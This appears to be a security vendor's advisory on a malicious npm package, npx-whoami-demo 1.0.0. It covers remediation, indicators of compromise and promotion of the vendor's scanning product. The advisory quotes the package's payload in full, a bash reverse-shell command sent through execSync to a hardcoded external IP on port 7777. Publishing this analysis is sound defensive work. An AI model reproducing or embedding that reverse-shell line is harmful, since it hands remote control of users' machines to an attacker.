Which versions of npx-whoami-demo are malicious?

The following npm versions of npx-whoami-demo are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate npx-whoami-demo if I installed it?

npx-whoami-demo establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed npx-whoami-demo — how do I know if it already compromised me?

If npx-whoami-demo was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is npx-whoami-demo part of a known attack campaign?

Yes — npx-whoami-demo is associated with the IN-MAL-2026-006472, IN-MAL-2026-006473, GHSA-3mmq-8798-7f4v campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find npx-whoami-demo across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for npx-whoami-demo (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging npx-whoami-demo across your stack and pipelines.

Malicious package

npx-whoami-demonpm

npx-whoami-demo is a confirmed malicious npm package (MAL-2026-5772) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in npx-whoami-demo (npm)

MAL-2026-5772

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall npx-whoami-demo

What this malware does

The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' }). This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs whoami, but no whoami invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via npx npx-whoami-demo, which is the documented usage pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174

fd8ebad9242ca5fc2abd9e3951a31bb3f4574f6ca07894be2b12468ccd2e5279

e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for npx-whoami-demo (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging npx-whoami-demo across your stack and pipelines.
If you installed it — respond
npx-whoami-demo establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If npx-whoami-demo was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks npx-whoami-demo before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. npx-whoami-demo on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006472IN-MAL-2026-006473GHSA-3mmq-8798-7f4v

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks npx-whoami-demo-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database